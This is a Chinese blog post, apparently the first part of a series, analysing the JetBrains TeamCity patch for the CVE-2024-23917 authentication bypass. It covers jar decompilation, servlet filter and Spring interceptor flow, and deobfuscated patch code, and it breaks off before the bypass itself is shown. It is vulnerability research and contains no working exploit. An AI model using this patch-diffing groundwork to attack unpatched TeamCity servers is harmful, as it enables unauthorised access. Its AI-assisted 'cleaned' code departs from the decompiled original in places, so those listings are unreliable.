深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917

admin 2024年5月31日09:15:28评论32 views字数 29970阅读99分54秒阅读模式

深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917

介绍

JetBrains TeamCity 是 JetBrains 开发的持续集成 (CI) 和持续交付 (CD) 工具。它旨在自动化软件开发中的构建、测试和部署流程。

注意:本文仅用于教育目的,以了解漏洞在现实世界中是如何出现的。

安装 TeamCity

从Jetbrains TeamCity官方网站下载2023.11.2版本并解压。为了本文的目的,我将使用 Intellij IDEA 社区版浏览代码库。

反编译 Jar

浏览 teamcity 目录,我们可以看到很多已编译的 Jar。为了访问代码,我们可以使用常见的反编译器之一反编译这些 jar。由于我们使用的是 Intellij IDEA,因此我们可以使用内置反编译器来反编译 jar。

这里的一个问题是需要反编译的 jar 文件太多了。为了简化此过程,我们编写了一个快速 bash 脚本,该脚本使用默认的 IntelliJ 反编译器将所有 jar 文件提取到名为 的中央文件夹中fern

#!/bin/bash## Extract source code from jar files# Can leverage fern from intelij or jadx# Usage:# ./sourcerer.sh <DIR1> <DIR2> <DIR3> ...DECOMPILER="fern"PROCESSES=10 # 0 for unlimitedFERN_JAR="/Applications/IntelliJ IDEA CE.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar"for dir in "$@"; do    workdir="$dir/$DECOMPILER"    mkdir -p "$workdir"    echo "Processing $dir"    case $DECOMPILER in        "fern")            mkdir "$workdir/fern-jars"            find "$dir" -type f -print0 -name "*.jar" | xargs -0 -I {} -P "$PROCESSES" java -jar "$FERN_JAR" {} "$workdir/fern-jars"            find "$workdir/fern-jars" -name "*.jar" -exec unzip -o {} -d "$workdir" ;            rm -rf "$workdir/fern-jars"            ;;        "jadx")            find "$dir" -type f -print0 -name "*.jar" | xargs -0 -I {} -P "$PROCESSES" jadx -d "$workdir" {} --comments-level none            ;;    esacdone

将文件另存为sourcerer.sh并运行脚本,提供提取的 teamcity 目录作为输入。脚本将重复开始提取其中的所有 jar。

注意:由于 jar 太多,脚本需要一段时间才能完成。您可以修改PROCESSES变量以加快脚本运行速度。

a0xnirudh@X1 ~/teamcity $ chmod +x sourcerer.sha0xnirudh@X1 ~/teamcity $ ./sourcerer.sh TeamCity

提取完成后,fernTeamCity 项目文件夹中将出现一个名为 的新目录。从 intellij 中,右键单击此文件夹 > 将目录标记为 > 源根目录。这一步很重要,如果没有它,我们将无法进行动态分析或搜索类等……

Architecture

通过探索目录结构,尤其是在 webapps/ROOT 目录内,我们可以看到 WEB-INF 目录中的 web.xml 文件。此文件包含 Servlet、映射和过滤器。

Servlet Filters Servlet

通常,Servlet 映射用于定义到相应控制器的 API 端点。让我们了解一下文件及其映射的工作原理:

File: teamcity/TeamCity/webapps/ROOT/WEB-INF/web.xml
17:   <servlet>18:     <description>Support maintenance screens when TeamCity server is starting up.</description>19:     <servlet-name>MaintenanceServlet</servlet-name>20:     <servlet-class>jetbrains.buildServer.maintenance.StartupServlet</servlet-class>21:   </servlet>

该文件开始创建具有名称的 servlet,在上面的示例中,该示例 MaintenanceServlet 在类 jetbrains.buildServer.maintenance.StartupServlet 中定义。让我们看一下它的 servlet 映射:

126:   <servlet-mapping>127:     <servlet-name>MaintenanceServlet</servlet-name>128:     <url-pattern>/mnt/*</url-pattern>129:   </servlet-mapping>

Servlet 映射指定 Servlet 名称和 URL 模式。这意味着,如果请求到达定义的 URL 模式,在本例中为 /mnt/* ,则将调用 MaintenanceServlet servlet,从而进一步导致控制器 jetbrains.buildServer.maintenance.StartupServlet 类的调用。

File: teamcity/TeamCity/webapps/ROOT/WEB-INF/web.xml
70:   <filter>71:     <filter-name>disableBrowserCacheFilter</filter-name>72:     <filter-class>jetbrains.buildServer.web.DisableBrowserCacheFilter</filter-class>73:     <async-supported>true</async-supported>74:   </filter>

定义了一个名为 的过滤器disableBrowserCacheFilter,由 类 处理jetbrains.buildServer.web.DisableBrowserCacheFilter。现在让我们看看它的过滤器映射:

308:   <filter-mapping>309:     <filter-name>disableBrowserCacheFilter</filter-name>310:     <url-pattern>/update/*</url-pattern>311:   </filter-mapping>

过滤器映射指定针对给定的 URL 模式运行哪些过滤器。此处,对于任何匹配的 URL /update/*disableBrowserCacheFilter都将运行在类中定义的过滤器jetbrains.buildServer.web.DisableSessionIdFromUrlFilter

现在,如果我们查看 的 servlet 映射/update/*,它指向buildServerservlet。

156:   <servlet-mapping>157:     <servlet-name>buildServer</servlet-name>158:     <url-pattern>/update/*</url-pattern>159:   </servlet-mapping>

简而言之,如果有任何请求到达/update/*端点,过滤器将首先被触发,然后将请求转发到 Servlet(或控制器类)。

同样,我们可以看到另一件事是错误映射:

48:   <error-page>49:     <error-code>401</error-code>50:     <location>/unauthorized.html</location>51:   </error-page>

因此对于给定的请求,如果控制器返回响应代码 401,那么就会/unauthorized.html呈现。

Spring 拦截器

现在过滤器是原生 Java Servlet 提供的功能,但如果我们想要实现相同的功能,但在做出决定之前需要更多上下文,该怎么办?例如,我们想设置一个检查身份验证的过滤器,但由于身份验证部分由 SprintBoot 处理,servlet 过滤器将没有上下文,因为它在较低级别运行,如下图所示:

深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917

为了实现类似的功能,Springboot 有一个拦截器的概念,它是 Spring MVC 核心框架的一部分,它允许我们在 HTTP 请求和响应由控制器处理或发送回客户端之前拦截和处理它们。它通常用于请求转换、日志记录(调试或性能日志)或安全性(AuthN 或 AuthZ)。

过滤器在功能上与拦截器类似(可用于拦截请求和响应),但它在 Servlet API 级别运行(而不是特定于 Spring 框架,因为 Spring 框架本身是建立在 Servlet API 之上的)。这意味着过滤器在请求到达 Springboot 之前就已执行。因此,一般来说,我们可以结合使用两者(就像 TeamCity 所做的那样),但拦截器通常在我们需要访问 Spring 应用程序上下文时使用。例如,虽然日志记录、缓存可以在过滤器级别完成,但 AuthN/AuthZ 通常在拦截器级别完成(因为它需要 Spring 上下文)

那么所有这些是如何协同工作的呢?下图表示流程(图片来源):

深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917

  1. 传入的 HTTP 请求首先由 Web 服务器(在本例中为 tomcat)接收,然后 Web 服务器将该请求传递给 Java Servlet。

  2. 根据路由映射,运行 servlet 过滤器,然后将请求转发到 Springboot。这Dispatcher Servlet是所有传入请求进入 springboot 的默认入口点。

  3. 一旦Dispatcher Servlet收到请求,它会查阅 URLHandlerMapping来确定应该将请求传递给哪个控制器。

  4. 但在被控制器处理之前,请求会经过 Spring 拦截器。给定的请求在到达控制器之前可以由不同数量的拦截器处理。

拦截器是实现handlerInterceptor接口的类,该接口具有 3 种方法:

preHandle():返回一个布尔值,指示请求是否应继续到下一个拦截器/控制器(例如:如果 AuthZ 失败,则返回 false 并且请求将不会到达控制器)

postHandle():在调用控制器方法之后但在将响应发送到客户端(修改响应头?)之前执行。

afterCompletion():响应发送到客户端后执行(任何清理任务)。

对于给定的 API 端点,可能会触发多个拦截器,在这种情况下,流程按照下图所示工作(图片来源):

深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917

现在探索漏洞的基础已经清楚了,让我们来探索已发布的安全补丁。

了解补丁(CVE-2024-23917)

根据官方通告,修复该漏洞的方法之一是应用安全补丁。让我们下载补丁并尝试更好地了解它。

a0xnirudh@X1 ~/teamcity/cve-2024-23917 $ wget -c https://download.jetbrains.com/teamcity/plugins/internal/fix_CVE_2024_23917.zipa0xnirudh@X1 ~/teamcity/cve-2024-23917 $ unzip fix_CVE_2024_23917.zipArchive:  fix_CVE_2024_23917.zip   creating: server/  inflating: server/patch-common-1.0-SNAPSHOT.jar  inflating: server/security-patch-plugin-1.0-SNAPSHOT.jar  inflating: teamcity-plugin.xml

反编译并尝试读取 jar 的源代码,我们可以看到补丁被严重混淆了。让我们尝试对补丁进行反混淆,然后再次反编译(使用 cfr)以查看代码是否更具可读性:

a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config1.ymlinput: patch-common-1.0-SNAPSHOT.jardetect: truea0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config1.yml[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Detecting known obfuscators[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - RuleSuspiciousClinit: Zelix Klassmaster typically embeds decryption code in <clinit>. This sample may have been obfuscated with Zelix Klassmaster[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -   Found suspicious <clinit> in 0/0/0/0[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Recommend transformers:[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - (Choose one transformer. If there are multiple, it's recommended to try the transformer listed first)[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -   None[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - RuleSimpleStringEncryption: Zelix Klassmaster has several modes of string encryption. This mode replaces string literals with a static string or string array, which are decrypted in <clinit> Note that this mode does not generate a method with signature (II)Ljava/lang/String;[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -   Found suspicious <clinit> in 0/0/0/0[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Recommend transformers:[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - (Choose one transformer. If there are multiple, it's recommended to try the transformer listed first)[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -   com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -   com.javadeobfuscator.deobfuscator.transformers.zelix.string.SimpleStringEncryptionTransformer[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - All detectors have been run. If you do not see anything listed, check if your file only contains name obfuscation.[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Do note that some obfuscators do not have detectors.

使用反混淆器检测技术,它建议我们使用com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer。让我们对jar进行反混淆,并尝试使用cfr反编译器对其进行反编译。

a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config1.ymlinput: patch-common-1.0-SNAPSHOT.jaroutput: patch_common_deobfuscated.jartransformers:  - com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformera0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config2.ymlinput: security-patch-plugin-1.0-SNAPSHOT.jaroutput: security_patch_deobfuscated.jartransformers:  - com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformera0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config1.yml[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Computing callers[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Transforming[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Running com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer[Zelix] [StringEncryptionTransformer] Starting[Zelix] [StringEncryptionTransformer] Decrypted strings from 2 encrypted classes[Zelix] [StringEncryptionTransformer] Decrypted 51 strings[Zelix] [StringEncryptionTransformer] Done[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Writinga0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config2.yml[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Computing callers[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Transforming[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Running com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer[Zelix] [StringEncryptionTransformer] Starting[Zelix] [StringEncryptionTransformer] Decrypted strings from 1 encrypted classes[Zelix] [StringEncryptionTransformer] Decrypted 3 strings[Zelix] [StringEncryptionTransformer] Done[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Writinga0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar cfr-0.152.jar patch_common_deobfuscated.jar --renameillegalidents true --outputdir patch_common_extractProcessing patch_common_deobfuscated.jar (use silent to silence)Processing 0.0.0.0Processing 0.0.0.2a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar cfr-0.152.jar security_patch_deobfuscated.jar --renameillegalidents true --outputdir security_patch_extractProcessing security_patch_deobfuscated.jar (use silent to silence)Processing 0.0.0.1a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ tree patch_common_extractpatch_common_extract├── 0│   └── 0│       └── 0│           ├── 0.java│           └── 2.java└── summary.txt4 directories, 3 filesa0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ tree security_patch_extractsecurity_patch_extract├── 0│   └── 0│       └── 0│           └── 1.java└── summary.txt4 directories, 2 files

所以我们最终有 3 个文件。让我们看看1.java从原始security-patch-plugin-1.0-SNAPSHOT.jar文件中提取的内容:

/* * Decompiled with CFR 0.152. *  * Could not load the following classes: *  0.0.0.0 *  jetbrains.buildServer.ServiceLocator *  jetbrains.buildServer.log.Loggers *  jetbrains.buildServer.serverSide.BuildServerListener *  jetbrains.buildServer.serverSide.TeamCityProperties *  jetbrains.buildServer.util.EventDispatcher *  jetbrains.buildServer.version.ServerVersionHolder *  jetbrains.buildServer.web.openapi.PluginDescriptor *  org.jetbrains.annotations.NotNull */package 0.0.0;import 0.0.0._0;import jetbrains.buildServer.ServiceLocator;import jetbrains.buildServer.log.Loggers;import jetbrains.buildServer.serverSide.BuildServerListener;import jetbrains.buildServer.serverSide.TeamCityProperties;import jetbrains.buildServer.util.EventDispatcher;import jetbrains.buildServer.version.ServerVersionHolder;import jetbrains.buildServer.web.openapi.PluginDescriptor;import org.jetbrains.annotations.NotNull;public class _1 {    public static int cfr_renamed_0;    public static boolean cfr_renamed_1;    public _1(@NotNull ServiceLocator serviceLocator, @NotNull PluginDescriptor pluginDescriptor, @NotNull EventDispatcher<BuildServerListener> eventDispatcher) {        boolean bl = cfr_renamed_1;        int n = Integer.parseInt(ServerVersionHolder.getVersion().getBuildNumber());        int n2 = TeamCityProperties.getInteger((String)"teamcity.CVE-2024-23917.patch.maxAffectedBuildNumber", (int)147486);        if (!bl) {            if (n > n2) {                Loggers.SERVER.warn("The plugin " + pluginDescriptor.getPluginName() + " is no longer required for this TeamCity version");                return;            }            new _0(eventDispatcher, serviceLocator).cfr_renamed_0(true);        }        if (bl) {            int n3 = cfr_renamed_0;            cfr_renamed_0 = ++n3;        }    }}

这是一个可读性更强的代码,但仍然可以稍微清理一下。使用 ChatGPT(+一些手动更改)重写代码以使其更具可读性后,代码如下所示:

package 0.0.0;import jetbrains.buildServer.ServiceLocator;import jetbrains.buildServer.log.Loggers;import jetbrains.buildServer.serverSide.BuildServerListener;import jetbrains.buildServer.util.EventDispatcher;import jetbrains.buildServer.version.ServerVersionHolder;import jetbrains.buildServer.web.openapi.PluginDescriptor;import org.jetbrains.annotations.NotNull;public class SecurityPluginInitializer {    private static int counter = 0;    private static boolean isEnabled = false;    public SecurityPluginInitializer(@NotNull ServiceLocator serviceLocator, @NotNull PluginDescriptor pluginDescriptor, @NotNull EventDispatcher<BuildServerListener> eventDispatcher) {        if (isEnabled) {            int buildNumber = Integer.parseInt(ServerVersionHolder.getVersion().getBuildNumber());            int maxAffectedBuildNumber = TeamCityProperties.getInteger("teamcity.CVE-2024-23917.patch.maxAffectedBuildNumber", 147486);            if (buildNumber > maxAffectedBuildNumber) {                Loggers.SERVER.warn("The plugin " + pluginDescriptor.getPluginName() + " is no longer required for this TeamCity version");                return;            }            new SecurityInterceptor(eventDispatcher, serviceLocator).initializeSecurity(true);        } else {            counter++;        }    }}

代码读取,currentBuildNumber如果当前版本号小于最大受影响版本号(147486),则继续安装,否则跳过。为了继续安装,它会触发new SecurityInterceptor(eventDispatcher, serviceLocator).initializeSecurity(true);来自我们提取的0.java文件的代码。

现在,我们先看2.java一下这个文件:

package com.example.buildserver;import java.util.List;import com.example.security.SecurityHandler;import jetbrains.buildServer.log.Loggers;import jetbrains.buildServer.serverSide.BuildServerAdapter;class SecurityPatch extends BuildServerAdapter {    private final boolean isSecurityPatchEnabled;    private final SecurityHandler securityHandler;    public static boolean isDebugModeEnabled;    SecurityPatch(SecurityHandler handler, boolean isEnabled) {        this.securityHandler = handler;        this.isSecurityPatchEnabled = isEnabled;    }    @Override    public void serverStartup() {        boolean isDebug = isDebugModeEnabled;        try {            Class<?> urlMappingClass = Class.forName("jetbrains.spring.web.UrlMapping");            Object urlMappingService = securityHandler.findSingletonService(urlMappingClass);            Class<?> authInterceptorClass = Class.forName("jetbrains.buildServer.controllers.interceptors.AuthorizationInterceptorImpl");            Object authInterceptorService = securityHandler.findSingletonService(authInterceptorClass);            Class<?> superClass = urlMappingClass.getSuperclass();            Field adaptedInterceptorsField = findField(superClass, "adaptedInterceptors");            if (adaptedInterceptorsField == null) {                throw new IllegalStateException("Required field 'adaptedInterceptors' not found in " + urlMappingClass.getName());            }            adaptedInterceptorsField.setAccessible(true);            List<Object> adaptedInterceptors = (List<Object>) adaptedInterceptorsField.get(urlMappingService);            adaptedInterceptors.add(securityHandler.createProxy(authInterceptorService));            if (isSecurityPatchEnabled) {                Loggers.SERVER.warn("Security patch for CVE-2024-23917 has been activated");            } else {                Loggers.SERVER.debug("Security patch for CVE-2024-23917 has been activated");            }        } catch (Throwable ex) {            Loggers.SERVER.warn("Could not activate security patch for CVE-2024-23917. Error: " + ex.toString());            Loggers.SERVER.debug("Error activating security patch for CVE-2024-23917: " + ex.toString(), ex);        }    }    private Field findField(Class<?> clazz, String fieldName) {        while (clazz != null) {            try {                Field field = clazz.getDeclaredField(fieldName);                return field;            } catch (NoSuchFieldException e) {                clazz = clazz.getSuperclass();            }        }        return null;    }}
  1. 代码首先UrlMapping从内部访问类jetbrains.spring.web.UrlMapping,然后进一步尝试访问其超类。通过代码库搜索,我们可以看到 的超类UrlMappingTeamCitySimpleUrlHandlerMapping

  2. 的超类TeamCitySimpleUrlHandlerMappingAbstractHandlerMapping。然后代码进一步尝试adaptedInterceptors从超类(在我们的例子中是 )中获取字段TeamCitySimpleUrlHandlerMapping

  3. 查看代码库,我们看不到名为adaptedInterceptorsdefined 的字段TeamCitySimpleUrlHandlerMapping,但不知何故补丁正在尝试获取它。查看函数findField,我们可以看到它findField尝试在提供的类上查找字段,如果未找到,它还会搜索其超类。所以本质上我们是adaptedInterceptorsUrlMapping-> TeamCitySimpleUrlHandlerMapping->获取的AbstractHandlerMapping

  4. 在 Spring MVC 中,通常通过反射来访问或修改集合adaptedInterceptors,如上面的代码片段所示。这种方法允许动态更改请求处理管道,而无需修改核心配置或重新启动服务器。这对于在运行时应用安全补丁、引入自定义拦截器或集成第三方拦截器非常有用。

  5. 最后,他们将一个添加new Interceptor到列表中adaptedInterceptors,这意味着最像这样的新添加的拦截器将确保防止身份验证绕过漏洞。

现在让我们最后看一下写入自定义新拦截器的所有逻辑的最终文件:

import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.EventListener;import java.util.HashSet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import jetbrains.buildServer.log.Loggers;import jetbrains.buildServer.serverSide.TeamCityProperties;import jetbrains.buildServer.util.EventDispatcher;import jetbrains.buildServer.web.util.WebUtil;import org.jetbrains.annotations.NotNull;public class SecurityInterceptor {    private final EventDispatcher<BuildServerListener> eventDispatcher;    private final ServiceLocator serviceLocator;    private static boolean securityPatchActivated;    public SecurityInterceptor(@NotNull EventDispatcher<BuildServerListener> eventDispatcher, @NotNull ServiceLocator serviceLocator) {        boolean previousActivation = securityPatchActivated;        this.eventDispatcher = eventDispatcher;        this.serviceLocator = serviceLocator;        if (securityPatchActivated) {            securityPatchActivated = !previousActivation;        }    }    public void activateSecurityPatch(boolean activated) {        this.eventDispatcher.addListener((EventListener)((Object)new SecurityPatchActivator(this, activated)));    }    private Object createHandlerInterceptorProxy(Object handler) throws ClassNotFoundException {        Class<?> clazz = Class.forName("org.springframework.web.servlet.HandlerInterceptor"); // handler here is AuthorizationInterceptorImpl        return Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{clazz}, (Object proxyObj, Method method, Object[] methodArgs) -> this.intercept_wrap(handler,proxyObj, method,  methodArgs));    }    private boolean intercept(HttpServletRequest request, HttpServletResponse response, Object handler, Object handlerInterceptor) {        // this is called from AuthorizationInterceptorImpl.prehandle func is called        // handlerInterceptor is AuthorizationInterceptorImpl        // handler is controller being called        /**         * if (!interceptor.preHandle(request, response, this.handler)) {                this.triggerAfterCompletion(request, response, (Exception)null);                return false;            }            this is where its called            interceptor.prehandle will call this                 - intercept fnc where          */        boolean isSecurityPatchEnabled = TeamCityProperties.getBooleanOrTrue("teamcity.CVE-2024-23917.patch.enabled");        if (isSecurityPatchEnabled == false) {            return true;        }        Object includeRequestUri = request.getAttribute("javax.servlet.include.request_uri");        if (includeRequestUri != null || request.getAttribute("javax.servlet.forward.request_uri") != null) {            return true;        }        String path = WebUtil.getPathWithoutContext(request); // removes ;<--anything after-->        boolean isAgentEndpoint = path.startsWith("/app/agents/") || path.startsWith("/update/");        if (isAgentEndpoint) {            return true;  // donot run this patch        }        HashSet<String> securedEndpoints = new HashSet<>();        securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginController");        securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginSubmitController");        securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginIconsController");        securedEndpoints.add("jetbrains.buildServer.controllers.user.RegisterUserController");        securedEndpoints.add("jetbrains.buildServer.controllers.user.SubmitRegisterUserController");        securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SetupAdminController");        securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SubmitSetupAdminController");        securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SubmitCreateAdminController");        securedEndpoints.add("jetbrains.buildServer.controllers.status.ExternalStatusController");        securedEndpoints.add("jetbrains.buildServer.controllers.license.ShowAgreementController");        securedEndpoints.add("jetbrains.buildServer.web.RuntimeErrorController");        securedEndpoints.add("jetbrains.buildServer.web.RuntimeErrorTestController");        securedEndpoints.add("jetbrains.buildServer.controllers.agentServer.AgentPollingProtocolController");        securedEndpoints.add("jetbrains.buildServer.controllers.agentServer.AgentProtocolsController");        securedEndpoints.add("jetbrains.buildServer.controllers.XmlRpcController");        securedEndpoints.add("jetbrains.buildServer.web.plugins.agent.BuildAgentUpdateInfoControllerNew");        securedEndpoints.add("jetbrains.buildServer.serverSide.oauth.space.SpaceEndpointController");        securedEndpoints.add("jetbrains.buildServer.resetPassword.ForgotPasswordController");        securedEndpoints.add("jetbrains.buildServer.resetPassword.ResetPasswordController");        securedEndpoints.add("jetbrains.buildServer.controllers.BadRequestController");        securedEndpoints.add("jetbrains.buildServer.controllers.PageNotFoundController");        securedEndpoints.add("jetbrains.buildServer.controllers.agent.AgentParametersController");        securedEndpoints.add("jetbrains.buildServer.controllers.agent.UploadOnServerController");        securedEndpoints.add("jetbrains.buildServer.controllers.proxyHealthCheck.PreferredNodeHealthStatusController");        securedEndpoints.add("jetbrains.buildServer.win32.web.LoginCheckController");        securedEndpoints.add("jetbrains.buildServer.win32.web.LoginController");        securedEndpoints.add("jetbrains.buildServer.controllers.PageResourceCompressorImpl");        securedEndpoints.add("jetbrains.spring.web.JspController");        //issue            // here they are checking, instead of (.jsp + jsp_precompile) to know which request to skip, we have list of all controllers to skip            //  , check if these request belong to these class's, if yes, we can let them go, else in anyother case, check auth        if (securedEndpoints.contains(handler.getClass().getName())) {            return true; // donot run the patch        }        Boolean isAuthenticationRequired = checkAuthenticationRequirement(handlerInterceptor, path); // calls the real fn to check auth is needed fnc's         if (Boolean.FALSE.equals(isAuthenticationRequired)) {            response.setStatus(403);            try {                response.getWriter().write("Access denied");                Loggers.SERVER.warn("Replying with 403 status for the unauthorized request: " + WebUtil.getRequestDump(request));                return false;            } catch (IOException e) {                // Log the exception if necessary            }        }        return false;    }    private static boolean checkAuthenticationRequirement(Object handler, String path) {        /**         * in short this is whats happening         * AuthorizationInterceptorImpl.myAuthorizationPaths.isAuthenticationRequired(path)         *          */        Object authorizationPaths;        try {            Field authorizationPathsField = handler.getClass().getDeclaredField("myAuthorizationPaths");            authorizationPathsField.setAccessible(true);            authorizationPaths = authorizationPathsField.get(handler);        } catch (NoSuchFieldException | IllegalAccessException e) {            try {                Method isAuthenticationRequiredMethod = handler.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);                isAuthenticationRequiredMethod.setAccessible(true);                return (Boolean) isAuthenticationRequiredMethod.invoke(handler, path); //             } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException ex) {                return true;            }        }        try {            Method isAuthenticationRequiredMethod = authorizationPaths.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);            return (Boolean) isAuthenticationRequiredMethod.invoke(authorizationPaths, path);        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {            return true;        }    }    private boolean isAuthenticationPresent() {        try {            Method getContextMethod = SecurityContextHolder.class.getMethod("getContext");            Object securityContext = getContextMethod.invoke(null);            Method getAuthenticationMethod = securityContext.getClass().getMethod("getAuthentication");            return getAuthenticationMethod.invoke(securityContext) != null;        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {            return true;        }    }    private static Class<?> getSecurityContextHolderClass() throws ClassNotFoundException {        return Class.forName("org.springframework.security.core.context.SecurityContextHolder");    }    private Object intercept_wrap(Object handler, Object handlerInterceptor, Method method, Object[] args) throws Throwable {        boolean isPreHandleMethod = method.getName().equals("preHandle");        if (isPreHandleMethod) {            return interceptPreHandle((HttpServletRequest) args[0], (HttpServletResponse) args[1], args[2], handler);        }        return null;    }    private boolean interceptPreHandle(HttpServletRequest request, HttpServletResponse response, Object handler, Object handlerInterceptor) {        return intercept(request, response, handler, handlerInterceptor);    }    static ServiceLocator getServiceLocator(SecurityInterceptor interceptor) {        return interceptor.serviceLocator;    }    static Object createHandlerInterceptorProxy(SecurityInterceptor interceptor, Object handler) throws ClassNotFoundException {        return interceptor.createHandlerInterceptorProxy(handler);    }}
  1. 我们首先创建一个名为 SecurityInterceptor 的类(我们在清理过程中给出的自定义名称),其中定义了很多方法。最有趣的方法之一是intercept,从表面上看,它处理修复漏洞的所有主要逻辑。

  2. 该函数首先检查属性是否teamcity.CVE-2024-23917.patch.enabled设置为true。如果为 false,则函数立即返回。

  3. 在 servlet 环境中,请求可以被“包含”或“转发”,这通常发生在一个 servlet 将请求/响应转发或包含到另一个 servlet 或从另一个 servlet 转发或包含到另一个 servlet 的请求/响应作为请求处理过程的一部分时。

    if (includeRequestUri != null || request.getAttribute("javax.servlet.forward.request_uri") != null)块检查是否存在include或forward属性。如果存在,则意味着该请求是包含的请求或转发的请求,并且代码返回true,这意味着拦截器不需要运行。

  4. 然后检查给定请求的路径,如果它以/app/agents/或开头/update,则代码立即返回。

  5. 补丁中有一组列入白名单的控制器,这些控制器上无需运行此拦截器。从控制器的名称(例如LoginControllerForgotPasswordController)我们可以假设这些控制器处理预认证端点,这意味着无需运行拦截器。

  6. 最后,拦截函数调用checkAuthenticationRequirement,我们来看看它做了什么。从代码流程来看,这似乎是逻辑所在的核心函数。

  private static boolean checkAuthenticationRequirement(Object handler, String path) {        /**         * in short this is whats happening         * AuthorizationInterceptorImpl.myAuthorizationPaths.isAuthenticationRequired(path)         *          */        Object authorizationPaths;        try {            Field authorizationPathsField = handler.getClass().getDeclaredField("myAuthorizationPaths");            authorizationPathsField.setAccessible(true);            authorizationPaths = authorizationPathsField.get(handler);        } catch (NoSuchFieldException | IllegalAccessException e) {            try {                Method isAuthenticationRequiredMethod = handler.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);                isAuthenticationRequiredMethod.setAccessible(true);                return (Boolean) isAuthenticationRequiredMethod.invoke(handler, path); //             } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException ex) {                return true;            }        }        try {            Method isAuthenticationRequiredMethod = authorizationPaths.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);            return (Boolean) isAuthenticationRequiredMethod.invoke(authorizationPaths, path);        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {            return true;        }    }
  1. 该函数首先从包含路径列表的类myAuthorizationPaths中读取。AuthorizationInterceptorImpl
  2. 进一步沿着代码,使用反射,它读取函数isAuthenticationRequired并在给定的路径上明确调用该函数。
这没有意义,为什么补丁会添加一个新的拦截器,明确调用已经内置的函数来检查是否需要身份验证?

身份验证绕过

一个合理的解释是,在新添加的拦截器中,有很多“if else”条件明确绕过了身份验证。如果在原始代码中存在明确绕过身份验证检查的情况怎么办?

让我们详细探索一下定义的拦截器以理解这一点。搜索AuthorizationInterceptor,我们可以看到文件的完整路径:jetbrains/buildServer/controllers/interceptors/AuthorizationInterceptorImpl.java。似乎所有拦截器都在文件夹内定义jetbrains/buildServer/controllers/interceptors/

